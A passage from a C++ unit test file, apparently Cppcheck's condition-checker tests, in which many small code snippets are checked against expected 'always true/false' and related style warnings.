break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9332\n check(\"struct A { void* g(); };\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" void* b = a.g();\\n\"\n \" if (!b) return;\\n\"\n \" void* c = a.g();\\n\"\n \" if (!c) return;\\n\"\n \" bool compare = c == b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9361\n check(\"void f(char c) {\\n\"\n \" if (c == '.') {}\\n\"\n \" else if (isdigit(c) != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9351\n check(\"int f(int x) {\\n\"\n \" const bool b = x < 42;\\n\"\n \" if(b) return b?0:-1;\\n\"\n \" return 42;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:3:18]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9362\n check(\"uint8_t g();\\n\"\n \"void f() {\\n\"\n \" const uint8_t v = g();\\n\"\n \" if((v != 0x00)) {\\n\"\n \" if( (v & 0x01) == 0x00) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9367\n check(\"void f(long x) {\\n\"\n \" if (x <= 0L)\\n\"\n \" return;\\n\"\n \" if (x % 360L == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a, int b) {\\n\"\n \" static const int x = 10;\\n\"\n \" return x == 1 ? a : b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const bool x = false;\\n\"\n \"void f() {\\n\"\n \" if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9709\n check(\"void f(int a) {\\n\"\n \" bool ok = false;\\n\"\n \" const char * r = nullptr;\\n\"\n \" do_something(&r);\\n\"\n \" if (r != nullptr)\\n\"\n \" ok = a != 0;\\n\"\n \" if (ok) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9816\n check(\"bool g();\\n\"\n \"void f() {\\n\"\n \" bool b = false;\\n\"\n \" do {\\n\"\n \" do {\\n\"\n \" if (g())\\n\"\n \" break;\\n\"\n \" b = true;\\n\"\n \" } while(false);\\n\"\n \" } while(!b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9865\n check(\"void f(const std::string &s) {\\n\"\n \" for (std::string::const_iterator it = s.begin(); it != s.end(); ++it) {\\n\"\n \" const unsigned char c = static_cast(*it);\\n\"\n \" if (c == '0') {}\\n\"\n \" else if ((c == 'a' || c == 'A')\\n\"\n \" || (c == 'b' || c == 'B')) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9711\n check(\"int main(int argc, char* argv[]) {\\n\"\n \" int foo = 0;\\n\"\n \" struct option options[] = {\\n\"\n \" {\\\"foo\\\", no_argument, &foo, \\'f\\'},\\n\"\n \" {NULL, 0, NULL, 0},\\n\"\n \" };\\n\"\n \" getopt_long(argc, argv, \\\"f\\\", options, NULL);\\n\"\n \" if (foo) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: if (!v) is a known condition as well\n check(\"struct a {\\n\"\n \" int *b();\\n\"\n \"};\\n\"\n \"bool g(a c, a* d) {\\n\"\n \" a *v, *e = v = &c;\\n\"\n \" if (!v)\\n\"\n \" return true;\\n\"\n \" int *f = v->b();\\n\"\n \" if (f)\\n\"\n \" v = nullptr;\\n\"\n \" if (v == nullptr && e) {}\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:23]: (style) Condition 'e' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10037\n check(\"struct a {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(a*);\\n\"\n \"void f() {\\n\"\n \" struct a b;\\n\"\n \" uint32_t p = (uint32_t) -1;\\n\"\n \" b.p = (void *) &p;\\n\"\n \" int r = g(&b);\\n\"\n \" if (r == 0)\\n\"\n \" if (p != (uint32_t) -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9890\n check(\"int g(int);\\n\"\n \"bool h(int*);\\n\"\n \"int f(int *x) {\\n\"\n \" int y = g(0);\\n\"\n \" if (!y) {\\n\"\n \" if (h(x)) {\\n\"\n \" y = g(1);\\n\"\n \" if (y) {}\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" if (!y) {}\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:11:13]: (style) Condition '!y' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10134\n check(\"bool foo(bool b);\\n\"\n \"bool thud(const std::vector& Arr, const std::wstring& Str) {\\n\"\n \" if (Arr.empty() && Str.empty())\\n\"\n \" return false;\\n\"\n \" bool OldFormat = Arr.empty() && !Str.empty();\\n\"\n \" if (OldFormat)\\n\"\n \" return foo(OldFormat);\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10208\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(std::string &first);\\n\"\n \"bool GetNext(std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name{'a', 'b'}; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool GetFirst(const std::string &first);\\n\"\n \"bool GetNext(const std::string &next);\\n\"\n \"void g(const std::string& name);\\n\"\n \"void f() {\\n\"\n \" for (std::string name; name.empty() ? GetFirst(name) : GetNext(name);)\\n\"\n \" g(name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (style) Condition 'name.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10278\n check(\"void foo(unsigned int x) {\\n\"\n \" if ((100 - x) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10298\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10121\n check(\"struct AB {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"struct ABC {\\n\"\n \" AB* ab;\\n\"\n \"};\\n\"\n \"void g(ABC*);\\n\"\n \"int f(struct ABC *abc) {\\n\"\n \" int err = 0;\\n\"\n \" AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" g(abc);\\n\"\n \" if (ab->a != 123) {\\n\"\n \" err = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return err;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10323\n check(\"void foo(int x) {\\n\"\n \" if(x)\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if(x) {}\\n\"\n \" else\\n\"\n \" if(x == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:4:14]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // do not report both unsignedLessThanZero and knownConditionTrueFalse\n check(\"void foo(unsigned int max) {\\n\"\n \" unsigned int num = max - 1;\\n\"\n \" if (num < 0) {}\\n\" // <- do not report knownConditionTrueFalse\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10297\n check(\"void foo(size_t len, int start) {\\n\"\n \" if (start < 0) {\\n\"\n \" start = len+start;\\n\"\n \" if (start < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10362\n check(\"int tok;\\n\"\n \"void next();\\n\"\n \"void parse_attribute() {\\n\"\n \" if (tok == '(') {\\n\"\n \" int parenthesis = 0;\\n\"\n \" do {\\n\"\n \" if (tok == '(')\\n\"\n \" parenthesis++;\\n\"\n \" else if (tok == ')')\\n\"\n \" parenthesis--;\\n\"\n \" next();\\n\"\n \" } while (parenthesis && tok != -1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7843\n check(\"void f(int i) {\\n\"\n \" if(abs(i) == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Condition 'abs(i)==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #7844\n check(\"void f(int i) {\\n\"\n \" if(i > 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Condition 'abs(i)==i' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i < 0 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:24]: (style) Condition 'abs(i)==i' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(i > -3 && abs(i) == i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9948\n check(\"bool f(bool a, bool b) {\\n\"\n \" return a || ! b || ! a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Return value '!a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10148\n check(\"void f(int i) {\\n\"\n \" if (i >= 64) {}\\n\"\n \" else if (i >= 32) {\\n\"\n \" i &= 31;\\n\"\n \" if (i == 0) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10548\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" do {} while (i++ == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10582\n check(\"static void fun(message_t *message) {\\n\"\n \" if (message->length >= 1) {\\n\"\n \" switch (data[0]) {}\\n\"\n \" }\\n\"\n \" uint8_t d0 = message->length > 0 ? data[0] : 0xff;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8266\n check(\"void f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" if (g(&b) || b)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9720\n check(\"bool bar(int &);\\n\"\n \"void f(int a, int b) {\\n\"\n \" if (a + b == 3)\\n\"\n \" return;\\n\"\n \" if (bar(a) && (a + b == 3)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10437\n check(\"void f() {\\n\"\n \" Obj* PObj = nullptr;\\n\"\n \" bool b = false;\\n\"\n \" if (GetObj(PObj) && PObj != nullptr)\\n\"\n \" b = true;\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10223\n check(\"static volatile sig_atomic_t is_running;\\n\"\n \"static void handler(int signum) {\\n\"\n \" is_running = 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" signal(SIGINT, &handler);\\n\"\n \" is_running = 1;\\n\"\n \" while (is_running) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10659\n check(\"auto func(const std::tuple& t) {\\n\"\n \" auto& [foo, bar] = t;\\n\"\n \" std::cout << foo << bar << std::endl;\\n\"\n \" return foo < bar;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10484\n check(\"void f() {\\n\"\n \" static bool init = true;\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init(true);\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init{ true };\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n // #10248\n check(\"void f() {\\n\"\n \" static int var(1);\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int var{ 1 };\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9256\n check(\"bool f() {\\n\"\n \" bool b = false;\\n\"\n \" b = true;\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10702\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" void increment() { ++_count;}\\n\"\n \" auto get() const { return _count; }\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object) : _object(object) {}\\n\"\n \" void do_something() { _object.increment(); }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" auto get() const;\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object);\\n\"\n \" void do_something();\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint32_t u) {\\n\"\n \"\tconst uint32_t v = u < 4;\\n\"\n \"\tif (v) {\\n\"\n \"\t\tconst uint32_t w = v < 2;\\n\"\n \"\t\tif (w) {}\\n\"\n \"\t}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style) Condition 'v<2' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:7]: (style) Condition 'w' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(double d) {\\n\" // #10792\n \" if (d != 0) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (0 != d) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { double d; }\\n\"\n \"void f(A a) {\\n\"\n \" if (a.d != 0) {\\n\"\n \" int i = a.d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if(strlen(\\\"abc\\\") == 3) {;}\\n\"\n \" if(strlen(\\\"abc\\\") == 1) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 3) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 1) {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'strlen(\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:22]: (style) Condition 'strlen(\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:23]: (style) Condition 'wcslen(L\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:23]: (style) Condition 'wcslen(L\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if(!a && b && (!a == !b))\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:2:21]: (style) Condition '!a==!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10454\n check(\"struct S {\\n\"\n \" int f() const { return g() ? 0 : 1; }\\n\"\n \" bool g() const { return u == 18446744073709551615ULL; }\\n\"\n \" unsigned long long u{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8358\n check(\"void f(double d) { if ((d * 0) != 0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6870\n check(\"struct S {\\n\"\n \" int* p;\\n\"\n \" void f() const;\\n\"\n \" int g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" if ((p == NULL) || ((p) && (g() >= *p))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Condition 'p' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10749\n check(\"struct Interface {\\n\"\n \" virtual int method() = 0;\\n\"\n \"};\\n\"\n \"struct Child : Interface {\\n\"\n \" int method() override { return 0; }\\n\"\n \" auto foo() {\\n\"\n \" if (method() == 0)\\n\"\n \" return true;\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct GrandChild : Child {\\n\"\n \" int method() override { return 1; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6855\n check(\"struct S { int i; };\\n\"\n \"void f(S& s) {\\n\"\n \" if (!(s.i > 0) && (s.i != 0))\\n\"\n \" s.i = 0;\\n\"\n \" else if (s.i < 0)\\n\"\n \" s.s = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:5:18]: (style) Condition 's.i<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6857\n check(\"int bar(int i) { return i; }\\n\"\n \"void foo() {\\n\"\n \" if (bar(1) == 0 && bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'bar(1)==0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:31]: (style) Condition 'bar(1)>0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S { int bar(int i) const; };\\n\"\n \"void foo(const S& s) {\\n\"\n \" if (s.bar(1) == 0 && s.bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) Logical conjunction always evaluates to false: s.bar(1) == 0 && s.bar(1) > 0. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct B {\\n\" // #10618\n \" void Modify();\\n\"\n \" static void Static();\\n\"\n \" virtual void CalledByModify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" void testV();\\n\"\n \" void testS();\\n\"\n \" void CalledByModify() override { i = 0; }\\n\"\n \"};\\n\"\n \"void D::testV() {\\n\"\n \" i = 1;\\n\"\n \" B::Modify();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\"\n \"void D::testS() {\\n\"\n \" i = 1;\\n\"\n \" B::Static();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:11]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"typedef struct { bool x; } s_t;\\n\" // #8446\n \"unsigned f(bool a, bool b) {\\n\"\n \" s_t s;\\n\"\n \" const unsigned col = a ? (s.x = false) : (b = true);\\n\"\n \" if (!s.x) {}\\n\"\n \" return col;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11233\n \" static std::string m;\\n\"\n \" static void f() { m = \\\"abc\\\"; }\\n\"\n \" static void g() {\\n\"\n \" m.clear();\\n\"\n \" f();\\n\"\n \" if (m.empty()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11203\n check(\"void f() {\\n\"\n \" int i = 10;\\n\"\n \" if(i > 9.9){}\\n\"\n \" float f = 9.9f;\\n\"\n \" if(f < 10) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:10]: (style) Condition 'i>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:10]: (style) Condition 'f<10' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n check(\"constexpr int f() {\\n\" // #11238\n \" return 1;\\n\"\n \"}\\n\"\n \"constexpr bool g() {\\n\"\n \" return f() == 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() { return -1; }\\n\"\n \"void f() {\\n\"\n \" if (g() == 1 && g() == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'g()==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:25]: (style) Condition 'g()==-1' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #9817\n check(\"void f(float x) {\\n\"\n \" if (x <= 0) {}\\n\"\n \" else if (x < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10426\n check(\"int f() {\\n\"\n \" std::string s;\\n\"\n \" for (; !s.empty();) {}\\n\"\n \" for (; s.empty();) {}\\n\"\n \" if (s.empty()) {}\\n\"\n \" if ((bool)0) {}\\n\"\n \" return s.empty();\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition '!s.empty()' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:19]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:16]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition '(bool)0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:19]: (style) Return value 's.empty()' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\"\n \"bool g(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:35]: (style) Return value 'static_cast(1)' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:12]: (style) Return value '(int)0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() { return 3; }\\n\"\n \"int g() { return f(); }\\n\"\n \"int h() { if (f()) {} }\\n\"\n \"int i() { return f() == 3; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'f()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:22]: (style) Return value 'f()==3' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" const char *n;\\n\"\n \" return((n=42) &&\\n\"\n \" *n == 'A');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::istringstream& i) {\\n\" // #9327\n \" std::string s;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11227\n check(\"struct S {\\n\"\n \"\tint get();\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" g(s ? s->get() : 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:7]: (style) Condition 's' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const char* o) {\\n\" // #11558\n \" if (!o || !o[0])\\n\"\n \" return;\\n\"\n \" if (o[0] == '-' && o[1]) {\\n\"\n \" if (o[1] == '-') {}\\n\"\n \" if (o[1] == '\\\\0') {}\\n\"\n \" }\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:6:18]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:6]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n check(\"void f(int x) {\\n\" // #11449\n \" int i = x;\\n\"\n \" i = (std::min)(i, 1);\\n\"\n \" if (i == 1) {}\\n\"\n \" int j = x;\\n\"\n \" j = (::std::min)(j, 1);\\n\"\n \" if (j == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void h(int);\\n\" // #11679\n \"bool g(int a) { h(a); return false; }\\n\"\n \"bool f(int i) {\\n\"\n \" return g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a) {\\n\" // #11051\n \" a = \\\"x\\\";\\n\"\n \" if (a == \\\"x\\\") {}\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'a==\\\"x\\\"' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(i == 7);\\n\"\n \" g(p == nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'i==7' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition 'p==nullptr' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"enum E { E0, E1 };\\n\"\n \"void f() {\\n\"\n \"\tstatic_assert(static_cast(E::E1) == 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" bool g();\\n\"\n \" int h();\\n\"\n \"};\\n\"\n \"void f(a c, int d, int e) {\\n\"\n \" if 